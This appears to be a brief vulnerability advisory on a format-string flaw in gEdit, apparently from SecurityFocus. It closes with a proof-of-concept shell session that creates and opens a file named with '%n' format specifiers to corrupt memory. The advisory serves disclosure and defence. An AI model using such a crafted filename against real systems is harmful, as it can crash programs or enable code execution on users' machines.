source: https://www.securityfocus.com/bid/13699/info

gEdit is prone to a format-string vulnerability. Exploitation may occur when the program is invoked with a filename that includes malicious format specifiers.

Attackers could exploit this issue to corrupt arbitrary regions of memory with attacker-supplied data, potentially resulting in the execution of arbitrary code in the context of the user running the program. 

bash-2.05b#cat fmtexp.c

#include <stdio.h>


int
main()
{
printf("hah gedit\n");
}


bash-2.05b#gcc -o fk fmtexp.c

bash-2.05b#mv fk AA%n%n%n.c

bash-2.05b#gedit AA%n%n%n.c